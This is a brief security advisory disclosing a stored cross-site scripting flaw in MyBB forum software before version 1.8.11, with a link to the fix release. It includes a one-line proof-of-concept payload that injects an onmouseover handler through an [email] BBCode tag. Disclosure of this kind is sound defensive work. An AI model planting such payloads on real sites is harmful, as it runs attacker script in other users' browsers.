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Description:
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product:MyBB
Homepage:https://mybb.com/
vulnerable  version:<1.8.11
Severity:High risk

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Proof of Concept:



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1.post a thread or reply any thread ,write:


[email=2"onmouseover="alert(document.location)]hover me[/email]


then when useras mouse hover it,XSS attack will occur!

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Fixed:
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This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

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Best regards,
Zhiyang Zeng of Tencent security platform department